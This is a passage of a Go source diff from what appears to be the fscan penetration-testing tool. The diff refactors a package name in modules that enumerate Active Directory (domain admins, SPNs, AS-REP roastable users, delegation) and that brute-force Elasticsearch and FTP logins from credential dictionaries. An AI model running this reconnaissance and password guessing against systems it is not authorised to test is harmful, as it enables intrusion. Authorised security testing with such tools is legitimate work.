lockoutThresholdInt, _ := strconv.Atoi(strings.TrimSuffix(policy["账户锁定阈值"], "次")) lockoutThresholdInt, _ := strconv.Atoi(strings.TrimSuffix(policy["账户锁定阈值"], "次"))
if lockoutThresholdInt == 0 { if lockoutThresholdInt == 0 {
Common.LogDebug("警告:未启用账户锁定策略,存在暴力破解风险") common.LogDebug("警告:未启用账户锁定策略,存在暴力破解风险")
} }
} else { } else {
Common.LogDebug("未获取到任何密码策略配置") common.LogDebug("未获取到任何密码策略配置")
} }
return policy, nil return policy, nil
} }
func (d *DomainInfo) GetSPNs() (map[string][]string, error) { func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
Common.LogDebug("开始查询SPN信息...") common.LogDebug("开始查询SPN信息...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -719,7 +719,7 @@ func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询SPN失败: %v", err)) common.LogError(fmt.Sprintf("查询SPN失败: %v", err))
return nil, err return nil, err
} }
@ -732,53 +732,53 @@ func (d *DomainInfo) GetSPNs() (map[string][]string, error) {
if len(spnList) > 0 { if len(spnList) > 0 {
key := fmt.Sprintf("SPN%s", dn) key := fmt.Sprintf("SPN%s", dn)
spns[key] = spnList spns[key] = spnList
Common.LogDebug(fmt.Sprintf("发现SPN - CN: %s", cn)) common.LogDebug(fmt.Sprintf("发现SPN - CN: %s", cn))
for _, spn := range spnList { for _, spn := range spnList {
Common.LogDebug(fmt.Sprintf(" - %s", spn)) common.LogDebug(fmt.Sprintf(" - %s", spn))
} }
} }
} }
if len(spns) > 0 { if len(spns) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个SPN配置", len(spns))) common.LogSuccess(fmt.Sprintf("共发现 %d 个SPN配置", len(spns)))
} else { } else {
Common.LogDebug("未发现SPN配置") common.LogDebug("未发现SPN配置")
} }
return spns, nil return spns, nil
} }
func getDomainController() (string, error) { func getDomainController() (string, error) {
Common.LogDebug("开始查询域控制器地址...") common.LogDebug("开始查询域控制器地址...")
// 尝试使用wmic获取当前域名 // 尝试使用wmic获取当前域名
Common.LogDebug("正在使用wmic获取域名...") common.LogDebug("正在使用wmic获取域名...")
cmd := exec.Command("wmic", "computersystem", "get", "domain") cmd := exec.Command("wmic", "computersystem", "get", "domain")
output, err := cmd.Output() output, err := cmd.Output()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取域名失败: %v", err)) common.LogError(fmt.Sprintf("获取域名失败: %v", err))
return "", fmt.Errorf("获取域名失败: %v", err) return "", fmt.Errorf("获取域名失败: %v", err)
} }
lines := strings.Split(string(output), "\n") lines := strings.Split(string(output), "\n")
if len(lines) < 2 { if len(lines) < 2 {
Common.LogError("wmic输出格式异常未找到域名") common.LogError("wmic输出格式异常未找到域名")
return "", fmt.Errorf("未找到域名") return "", fmt.Errorf("未找到域名")
} }
domain := strings.TrimSpace(lines[1]) domain := strings.TrimSpace(lines[1])
if domain == "" { if domain == "" {
Common.LogError("获取到的域名为空") common.LogError("获取到的域名为空")
return "", fmt.Errorf("域名为空") return "", fmt.Errorf("域名为空")
} }
Common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 使用nslookup查询域控制器 // 使用nslookup查询域控制器
Common.LogDebug(fmt.Sprintf("正在使用nslookup查询域控制器 (_ldap._tcp.dc._msdcs.%s)...", domain)) common.LogDebug(fmt.Sprintf("正在使用nslookup查询域控制器 (_ldap._tcp.dc._msdcs.%s)...", domain))
cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err = cmd.Output() output, err = cmd.Output()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("nslookup查询失败: %v", err)) common.LogError(fmt.Sprintf("nslookup查询失败: %v", err))
return "", fmt.Errorf("查询域控制器失败: %v", err) return "", fmt.Errorf("查询域控制器失败: %v", err)
} }
@ -790,68 +790,68 @@ func getDomainController() (string, error) {
if len(parts) > 1 { if len(parts) > 1 {
dcHost := strings.TrimSpace(parts[1]) dcHost := strings.TrimSpace(parts[1])
dcHost = strings.TrimSuffix(dcHost, ".") dcHost = strings.TrimSuffix(dcHost, ".")
Common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost)) common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost))
return dcHost, nil return dcHost, nil
} }
} }
} }
// 尝试使用域名前缀加DC后缀 // 尝试使用域名前缀加DC后缀
Common.LogDebug("未从nslookup获取到域控制器尝试使用域名前缀...") common.LogDebug("未从nslookup获取到域控制器尝试使用域名前缀...")
domainParts := strings.Split(domain, ".") domainParts := strings.Split(domain, ".")
if len(domainParts) > 0 { if len(domainParts) > 0 {
dcHost := fmt.Sprintf("dc.%s", domain) dcHost := fmt.Sprintf("dc.%s", domain)
Common.LogDebug(fmt.Sprintf("使用备选域控制器地址: %s", dcHost)) common.LogDebug(fmt.Sprintf("使用备选域控制器地址: %s", dcHost))
return dcHost, nil return dcHost, nil
} }
Common.LogError("无法获取域控制器地址") common.LogError("无法获取域控制器地址")
return "", fmt.Errorf("无法获取域控制器地址") return "", fmt.Errorf("无法获取域控制器地址")
} }
func NewDomainInfo() (*DomainInfo, error) { func NewDomainInfo() (*DomainInfo, error) {
Common.LogDebug("开始初始化域信息...") common.LogDebug("开始初始化域信息...")
// 获取域控制器地址 // 获取域控制器地址
Common.LogDebug("正在获取域控制器地址...") common.LogDebug("正在获取域控制器地址...")
dcHost, err := getDomainController() dcHost, err := getDomainController()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取域控制器失败: %v", err)) common.LogError(fmt.Sprintf("获取域控制器失败: %v", err))
return nil, fmt.Errorf("获取域控制器失败: %v", err) return nil, fmt.Errorf("获取域控制器失败: %v", err)
} }
Common.LogDebug(fmt.Sprintf("成功获取域控制器地址: %s", dcHost)) common.LogDebug(fmt.Sprintf("成功获取域控制器地址: %s", dcHost))
// 创建SSPI客户端 // 创建SSPI客户端
Common.LogDebug("正在创建SSPI客户端...") common.LogDebug("正在创建SSPI客户端...")
ldapClient, err := gssapi.NewSSPIClient() ldapClient, err := gssapi.NewSSPIClient()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("创建SSPI客户端失败: %v", err)) common.LogError(fmt.Sprintf("创建SSPI客户端失败: %v", err))
return nil, fmt.Errorf("创建SSPI客户端失败: %v", err) return nil, fmt.Errorf("创建SSPI客户端失败: %v", err)
} }
defer ldapClient.Close() defer ldapClient.Close()
Common.LogDebug("SSPI客户端创建成功") common.LogDebug("SSPI客户端创建成功")
// 创建LDAP连接 // 创建LDAP连接
Common.LogDebug(fmt.Sprintf("正在连接LDAP服务器 ldap://%s:389", dcHost)) common.LogDebug(fmt.Sprintf("正在连接LDAP服务器 ldap://%s:389", dcHost))
conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost))
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("LDAP连接失败: %v", err)) common.LogError(fmt.Sprintf("LDAP连接失败: %v", err))
return nil, fmt.Errorf("LDAP连接失败: %v", err) return nil, fmt.Errorf("LDAP连接失败: %v", err)
} }
Common.LogDebug("LDAP连接建立成功") common.LogDebug("LDAP连接建立成功")
// 使用GSSAPI进行绑定 // 使用GSSAPI进行绑定
Common.LogDebug(fmt.Sprintf("正在进行GSSAPI绑定 (ldap/%s)...", dcHost)) common.LogDebug(fmt.Sprintf("正在进行GSSAPI绑定 (ldap/%s)...", dcHost))
err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "")
if err != nil { if err != nil {
conn.Close() conn.Close()
Common.LogError(fmt.Sprintf("GSSAPI绑定失败: %v", err)) common.LogError(fmt.Sprintf("GSSAPI绑定失败: %v", err))
return nil, fmt.Errorf("GSSAPI绑定失败: %v", err) return nil, fmt.Errorf("GSSAPI绑定失败: %v", err)
} }
Common.LogDebug("GSSAPI绑定成功") common.LogDebug("GSSAPI绑定成功")
// 获取defaultNamingContext // 获取defaultNamingContext
Common.LogDebug("正在查询defaultNamingContext...") common.LogDebug("正在查询defaultNamingContext...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
"", "",
ldap.ScopeBaseObject, ldap.ScopeBaseObject,
@ -865,23 +865,23 @@ func NewDomainInfo() (*DomainInfo, error) {
result, err := conn.Search(searchRequest) result, err := conn.Search(searchRequest)
if err != nil { if err != nil {
conn.Close() conn.Close()
Common.LogError(fmt.Sprintf("获取defaultNamingContext失败: %v", err)) common.LogError(fmt.Sprintf("获取defaultNamingContext失败: %v", err))
return nil, fmt.Errorf("获取defaultNamingContext失败: %v", err) return nil, fmt.Errorf("获取defaultNamingContext失败: %v", err)
} }
if len(result.Entries) == 0 { if len(result.Entries) == 0 {
conn.Close() conn.Close()
Common.LogError("未找到defaultNamingContext") common.LogError("未找到defaultNamingContext")
return nil, fmt.Errorf("未找到defaultNamingContext") return nil, fmt.Errorf("未找到defaultNamingContext")
} }
baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext")
if baseDN == "" { if baseDN == "" {
Common.LogDebug("defaultNamingContext为空使用备选方法获取BaseDN") common.LogDebug("defaultNamingContext为空使用备选方法获取BaseDN")
baseDN = getDomainDN(dcHost) // 使用备选方法 baseDN = getDomainDN(dcHost) // 使用备选方法
} }
Common.LogSuccess(fmt.Sprintf("初始化完成使用BaseDN: %s", baseDN)) common.LogSuccess(fmt.Sprintf("初始化完成使用BaseDN: %s", baseDN))
return &DomainInfo{ return &DomainInfo{
conn: conn, conn: conn,
@ -889,13 +889,13 @@ func NewDomainInfo() (*DomainInfo, error) {
}, nil }, nil
} }
func DCInfoScan(info *Common.HostInfo) (err error) { func DCInfoScan(info *common.HostInfo) (err error) {
// 创建DomainInfo实例 // 创建DomainInfo实例
Common.LogDebug("正在初始化域信息...") common.LogDebug("正在初始化域信息...")
di, err := NewDomainInfo() di, err := NewDomainInfo()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("初始化域信息失败: %v", err)) common.LogError(fmt.Sprintf("初始化域信息失败: %v", err))
return err return err
} }
defer di.Close() defer di.Close()
@ -903,7 +903,7 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取特殊计算机列表 // 获取特殊计算机列表
specialComputers, err := di.GetSpecialComputers() specialComputers, err := di.GetSpecialComputers()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取特殊计算机失败: %v", err)) common.LogError(fmt.Sprintf("获取特殊计算机失败: %v", err))
} else { } else {
categories := []string{ categories := []string{
"SQL服务器", "SQL服务器",
@ -912,12 +912,12 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
"Exchange服务器", "Exchange服务器",
} }
Common.LogSuccess("[*] 特殊计算机信息:") common.LogSuccess("[*] 特殊计算机信息:")
for _, category := range categories { for _, category := range categories {
if computers, ok := specialComputers[category]; ok { if computers, ok := specialComputers[category]; ok {
Common.LogSuccess(fmt.Sprintf("[+] %s:", category)) common.LogSuccess(fmt.Sprintf("[+] %s:", category))
for _, computer := range computers { for _, computer := range computers {
Common.LogSuccess(fmt.Sprintf(" %s", computer)) common.LogSuccess(fmt.Sprintf(" %s", computer))
} }
} }
} }
@ -926,47 +926,47 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取域用户 // 获取域用户
users, err := di.GetDomainUsers() users, err := di.GetDomainUsers()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取域用户失败: %v", err)) common.LogError(fmt.Sprintf("获取域用户失败: %v", err))
} else { } else {
Common.LogSuccess("[*] 域用户列表:") common.LogSuccess("[*] 域用户列表:")
for _, user := range users { for _, user := range users {
Common.LogSuccess(fmt.Sprintf(" %s", user)) common.LogSuccess(fmt.Sprintf(" %s", user))
} }
} }
// 获取域管理员 // 获取域管理员
admins, err := di.GetDomainAdmins() admins, err := di.GetDomainAdmins()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取域管理员失败: %v", err)) common.LogError(fmt.Sprintf("获取域管理员失败: %v", err))
} else { } else {
Common.LogSuccess("[*] 域管理员列表:") common.LogSuccess("[*] 域管理员列表:")
for _, admin := range admins { for _, admin := range admins {
Common.LogSuccess(fmt.Sprintf(" %s", admin)) common.LogSuccess(fmt.Sprintf(" %s", admin))
} }
} }
// 获取组织单位 // 获取组织单位
ous, err := di.GetOUs() ous, err := di.GetOUs()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取组织单位失败: %v", err)) common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
} else { } else {
Common.LogSuccess("[*] 组织单位:") common.LogSuccess("[*] 组织单位:")
for _, ou := range ous { for _, ou := range ous {
Common.LogSuccess(fmt.Sprintf(" %s", ou)) common.LogSuccess(fmt.Sprintf(" %s", ou))
} }
} }
// 获取域计算机 // 获取域计算机
computers, err := di.GetComputers() computers, err := di.GetComputers()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取域计算机失败: %v", err)) common.LogError(fmt.Sprintf("获取域计算机失败: %v", err))
} else { } else {
Common.LogSuccess("[*] 域计算机:") common.LogSuccess("[*] 域计算机:")
for _, computer := range computers { for _, computer := range computers {
if computer.OperatingSystem != "" { if computer.OperatingSystem != "" {
Common.LogSuccess(fmt.Sprintf(" %s --> %s", computer.Name, computer.OperatingSystem)) common.LogSuccess(fmt.Sprintf(" %s --> %s", computer.Name, computer.OperatingSystem))
} else { } else {
Common.LogSuccess(fmt.Sprintf(" %s", computer.Name)) common.LogSuccess(fmt.Sprintf(" %s", computer.Name))
} }
} }
} }
@ -974,20 +974,20 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取信任域关系 // 获取信任域关系
trustDomains, err := di.GetTrustDomains() trustDomains, err := di.GetTrustDomains()
if err == nil && len(trustDomains) > 0 { if err == nil && len(trustDomains) > 0 {
Common.LogSuccess("[*] 信任域关系:") common.LogSuccess("[*] 信任域关系:")
for _, domain := range trustDomains { for _, domain := range trustDomains {
Common.LogSuccess(fmt.Sprintf(" %s", domain)) common.LogSuccess(fmt.Sprintf(" %s", domain))
} }
} }
// 获取域管理员组信息 // 获取域管理员组信息
adminGroups, err := di.GetAdminGroups() adminGroups, err := di.GetAdminGroups()
if err == nil && len(adminGroups) > 0 { if err == nil && len(adminGroups) > 0 {
Common.LogSuccess("[*] 管理员组信息:") common.LogSuccess("[*] 管理员组信息:")
for groupName, members := range adminGroups { for groupName, members := range adminGroups {
Common.LogSuccess(fmt.Sprintf("[+] %s成员:", groupName)) common.LogSuccess(fmt.Sprintf("[+] %s成员:", groupName))
for _, member := range members { for _, member := range members {
Common.LogSuccess(fmt.Sprintf(" %s", member)) common.LogSuccess(fmt.Sprintf(" %s", member))
} }
} }
} }
@ -995,11 +995,11 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取委派信息 // 获取委派信息
delegations, err := di.GetDelegation() delegations, err := di.GetDelegation()
if err == nil && len(delegations) > 0 { if err == nil && len(delegations) > 0 {
Common.LogSuccess("[*] 委派信息:") common.LogSuccess("[*] 委派信息:")
for delegationType, entries := range delegations { for delegationType, entries := range delegations {
Common.LogSuccess(fmt.Sprintf("[+] %s:", delegationType)) common.LogSuccess(fmt.Sprintf("[+] %s:", delegationType))
for _, entry := range entries { for _, entry := range entries {
Common.LogSuccess(fmt.Sprintf(" %s", entry)) common.LogSuccess(fmt.Sprintf(" %s", entry))
} }
} }
} }
@ -1007,31 +1007,31 @@ func DCInfoScan(info *Common.HostInfo) (err error) {
// 获取AS-REP Roasting漏洞用户 // 获取AS-REP Roasting漏洞用户
asrepUsers, err := di.GetAsrepRoastUsers() asrepUsers, err := di.GetAsrepRoastUsers()
if err == nil && len(asrepUsers) > 0 { if err == nil && len(asrepUsers) > 0 {
Common.LogSuccess("[*] AS-REP弱口令账户:") common.LogSuccess("[*] AS-REP弱口令账户:")
for _, user := range asrepUsers { for _, user := range asrepUsers {
Common.LogSuccess(fmt.Sprintf(" %s", user)) common.LogSuccess(fmt.Sprintf(" %s", user))
} }
} }
// 获取域密码策略 // 获取域密码策略
passwordPolicy, err := di.GetPasswordPolicy() passwordPolicy, err := di.GetPasswordPolicy()
if err == nil && len(passwordPolicy) > 0 { if err == nil && len(passwordPolicy) > 0 {
Common.LogSuccess("[*] 域密码策略:") common.LogSuccess("[*] 域密码策略:")
for key, value := range passwordPolicy { for key, value := range passwordPolicy {
Common.LogSuccess(fmt.Sprintf(" %s: %s", key, value)) common.LogSuccess(fmt.Sprintf(" %s: %s", key, value))
} }
} }
// 获取SPN信息 // 获取SPN信息
spns, err := di.GetSPNs() spns, err := di.GetSPNs()
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("获取SPN信息失败: %v", err)) common.LogError(fmt.Sprintf("获取SPN信息失败: %v", err))
} else if len(spns) > 0 { } else if len(spns) > 0 {
Common.LogSuccess("[*] SPN信息:") common.LogSuccess("[*] SPN信息:")
for dn, spnList := range spns { for dn, spnList := range spns {
Common.LogSuccess(fmt.Sprintf("[+] %s", dn)) common.LogSuccess(fmt.Sprintf("[+] %s", dn))
for _, spn := range spnList { for _, spn := range spnList {
Common.LogSuccess(fmt.Sprintf(" %s", spn)) common.LogSuccess(fmt.Sprintf(" %s", spn))
} }
} }
} }

View File

@ -2,8 +2,9 @@
package Plugins package Plugins
import "github.com/shadow1ng/fscan/Common" import "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
func DCInfoScan(info *Common.HostInfo) (err error) { func DCInfoScan(info *common.HostInfo) (err error) {
return nil return nil
} }

View File

@ -5,7 +5,8 @@ import (
"crypto/tls" "crypto/tls"
"encoding/base64" "encoding/base64"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"net/http" "net/http"
"strings" "strings"
"sync" "sync"
@ -26,21 +27,21 @@ type ElasticScanResult struct {
Credential ElasticCredential Credential ElasticCredential
} }
func ElasticScan(info *Common.HostInfo) error { func ElasticScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 首先测试无认证访问 // 首先测试无认证访问
Common.LogDebug("尝试无认证访问...") common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries) unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, common.Timeout, common.MaxRetries)
if unauthResult.Success { if unauthResult.Success {
// 无需认证情况 // 无需认证情况
@ -50,8 +51,8 @@ func ElasticScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []ElasticCredential var credentials []ElasticCredential
for _, user := range Common.Userdict["elastic"] { for _, user := range common.Userdict["elastic"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ElasticCredential{ credentials = append(credentials, ElasticCredential{
Username: user, Username: user,
@ -60,11 +61,11 @@ func ElasticScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials))) len(common.Userdict["elastic"]), len(common.Passwords), len(credentials)))
// 并发扫描 // 并发扫描
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentElasticScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveElasticResult(info, target, result.Credential, false) saveElasticResult(info, target, result.Credential, false)
@ -74,18 +75,18 @@ func ElasticScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Elasticsearch扫描全局超时") common.LogDebug("Elasticsearch扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
return nil return nil
} }
} }
// concurrentElasticScan 并发扫描Elasticsearch服务 // concurrentElasticScan 并发扫描Elasticsearch服务
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult { func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -131,7 +132,7 @@ func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentia
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -152,14 +153,14 @@ func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentia
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Elasticsearch并发扫描全局超时") common.LogDebug("Elasticsearch并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryElasticCredential 尝试单个Elasticsearch凭据 // tryElasticCredential 尝试单个Elasticsearch凭据
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult { func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -172,7 +173,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -189,7 +190,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -204,7 +205,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
} }
// ElasticConn 尝试Elasticsearch连接 // ElasticConn 尝试Elasticsearch连接
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) { func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second timeout := time.Duration(timeoutSeconds) * time.Second
@ -269,7 +270,7 @@ func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass s
} }
// saveElasticResult 保存Elasticsearch扫描结果 // saveElasticResult 保存Elasticsearch扫描结果
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) { func saveElasticResult(info *common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -292,15 +293,15 @@ func saveElasticResult(info *Common.HostInfo, target string, credential ElasticC
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(result) common.SaveResult(result)
} }

View File

@ -4,7 +4,8 @@ import (
"context" "context"
"fmt" "fmt"
"github.com/jlaffaye/ftp" "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"strings" "strings"
"sync" "sync"
"time" "time"
@ -25,21 +26,21 @@ type FtpScanResult struct {
IsAnonymous bool IsAnonymous bool
} }
func FtpScan(info *Common.HostInfo) error { func FtpScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 首先尝试匿名登录 // 首先尝试匿名登录
Common.LogDebug("尝试匿名登录...") common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries) anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success { if anonymousResult.Success {
// 匿名登录成功 // 匿名登录成功
@ -49,8 +50,8 @@ func FtpScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []FtpCredential var credentials []FtpCredential
for _, user := range Common.Userdict["ftp"] { for _, user := range common.Userdict["ftp"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, FtpCredential{ credentials = append(credentials, FtpCredential{
Username: user, Username: user,
@ -59,11 +60,11 @@ func FtpScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials))) len(common.Userdict["ftp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentFtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 保存成功结果 // 保存成功结果
saveFtpResult(info, target, result) saveFtpResult(info, target, result)
@ -73,18 +74,18 @@ func FtpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("FTP扫描全局超时") common.LogDebug("FTP扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
return nil return nil
} }
} }
// concurrentFtpScan 并发扫描FTP服务 // concurrentFtpScan 并发扫描FTP服务
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult { func concurrentFtpScan(ctx context.Context, info *common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
